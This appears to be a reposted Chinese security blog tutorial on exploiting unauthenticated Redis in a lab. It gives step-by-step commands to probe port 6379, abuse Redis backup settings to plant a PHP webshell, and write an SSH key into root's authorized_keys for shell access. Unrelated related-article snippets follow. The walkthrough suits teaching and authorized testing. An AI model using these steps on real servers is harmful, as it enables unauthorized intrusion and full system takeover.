redis未授权访问漏洞的利用

news/2024/7/24 5:20:06 标签: redis, 数据库, 缓存

目录

redis%E7%9A%84%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-toc" style="margin-left:0px;">一、探测redis的未授权访问

二、利用未授权访问漏洞写入一句话木马

redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E5%86%99%E5%85%A5ssh%E5%85%AC%E9%92%A5%E8%8E%B7%E5%8F%96shell-toc" style="margin-left:0px;">三、利用redis未授权访问写入ssh公钥获取shell


redis服务(6379)端口对外开放且未作密码认证时,任意用户可未授权访问redis服务并操作获取其数据。
攻击机:10.1.1.100 kali
目标靶机:10.1.1.200

redis%E7%9A%84%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE">
一、探测redis的未授权访问


首先在攻击机上使用nmap对目标机进行扫描,探测开放的服务与端口。
使用全端口扫描,探测存在的服务: nmap -p- -sV 10.1.1.200

图片
探测到靶机开放了多个端口,其中存在redis服务的6379端口,开始尝试是否存在redis未授权访问漏洞。
下载redis连接工具,解压后使用make命令进行编译。

图片
编译后的redis-cli文件存放在src目录中,将其复制到bin目录下,就可以在任意位置执行。

图片
使用redis-cli工具对redis数据尝试进行连接。
redis-cli -h 10.1.1.200 -p 6379

图片
连接成功,这个地方存在一个未授权访问。

二、利用未授权访问漏洞写入一句话木马

对之前使用nmap扫描到的80端口进行访问,发现了一个页面,判断存在web服务,尝试使用扫描工具对目录进行一个探测。

图片
使用dirsearch工具进行目录的探测,发现还存在一个phpinfo目录。

图片

图片
看到了网站的根目录

图片
利用之前已经远程连接到的redis数据库,利用写入备份文件的方式,在这个地方可以尝试写入一句话木马。
config set dir <路径> #设置备份路径
config set dbfilename <文件名> #设置备份文件的名字
set <key> <value> #写入数据
save #保存

图片
访问目标,拿到webshell

图片

redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E5%86%99%E5%85%A5ssh%E5%85%AC%E9%92%A5%E8%8E%B7%E5%8F%96shell">三、利用redis未授权访问写入ssh公钥获取shell


先生成ssh的公钥,公钥文件一般保存在/root/.ssh目录下
ssh-keygen -t rsa


将公钥写入到foo.txt文件中,前后使用换行,必然和其他符号连接产生其他不可预知错误。
(echo -e “\n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”) > /tmp/foo.txt

图片
将公钥信息写入到目标靶机
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey

图片
再一次利用备份功能写入公钥的备份文件。
config set dir /root/.ssh
config set dbfilename authorized_keys
save

图片
使用ssh连接方式:ssh root@10.1.1.200 -i /root/.ssh/id_rsa

图片
成功获取到shell。

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

图片

没看够~?欢迎关注!


http://www.niftyadmin.cn/n/5185644.html

相关文章

金融帝国实验室(Capitalism Lab)V10版本[加载脚本]界面改进!

即将推出的V10版本中“脚本&#xff08;Script&#xff09;”界面优化改进&#xff01; ————————————— 在V10版本“新游戏设置”菜单中&#xff0c;[加载脚本]将包括一个[自动保存脚本]的新功能。该新功能会记住最后加载脚本的名称&#xff0c;让玩家在未来打开时…

【EI会议征稿】第四届机械设计与仿真国际学术会议(MDS 2024)

【高录用快检索】第四届机械设计与仿真国际学术会议&#xff08;MDS 2024) 2024 4th International Conference on Mechanical Design and Simulation 2024年第四届机械设计与仿真国际学术会议&#xff08;MDS 2024) 将于2024年03月01-03日在中国西安召开。MDS 2024将围绕“…

VS2017的redis客户端实现

VS2017下Redis服务器源码地址 https://download.csdn.net/download/qq_23350817/88541316 VS2017下Redis客户端源码地址(hiredis已完成windows下编译)&#xff1a; https://download.csdn.net/download/qq_23350817/88541242 C代码实现&#xff1a; #include <stdio.h>…

如何将本地Portainer管理界面结合cpolar内网穿透工具实现远程浏览器访问

文章目录 前言1. 部署Portainer2. 本地访问Portainer3. Linux 安装cpolar4. 配置Portainer 公网访问地址5. 公网远程访问Portainer6. 固定Portainer公网地址 前言 Portainer 是一个轻量级的容器管理工具&#xff0c;可以通过 Web 界面对 Docker 容器进行管理和监控。它提供了可…

国内也可以做伦敦金的吗?给你答案

虽然伦敦金是国际市场上的贵金属投资方式&#xff0c;但国内投资者同样有机会参与其中&#xff0c;最简单的方式就是通过香港的持牌平台&#xff0c;在网上开设一个账号&#xff0c;并往其中注入一定的资金之后&#xff0c;就可以展开交易。 国内投资者可以炒伦敦金&#xff0c…

后端返回 date 时间日期格式为 UTC 格式字符串,形如 2022-08-11T10:50:31.050+00:00前端如何修改为yyyy-mm-dd

在不指定任何特殊配置的情况下&#xff0c;返回的 date 类型的字段会自动转成 UTC 格式字符串&#xff0c;形如 2022-08-11T10:50:31.05000:00。 前端如何处理&#xff1f; vue举例 utils 下新建 mixins.js文件 // minins.js文件 import Vue from "vue"; import {…

git push 报错 The requested URL returned error: 500

今天gitpush时报错The requested URL returned error: 500 看报错应该是本地和gitlab服务器之间通信的问题&#xff0c;登录gitlab网站查看 登录时报错无法通过ldapadmin认证&#xff0c;ldap服务器连接失败。 首先&#xff0c;登录ldap服务器&#xff0c;查看是否是ldap服务…

Open X-Embodiment 超大规模开源真实机器人数据集分享

近期&#xff0c;Google旗下的前沿人工智能企业DeepMind汇集了来自 22 种不同机器人类型的数据&#xff0c;创建了 Open X-Embodiment 数据集并开源了出来。该数据集让他们研发的RT-2 机器人在制造和编程方式上有了重大飞跃。 有分析称&#xff0c;在上述数据集上训练的 RT-2-…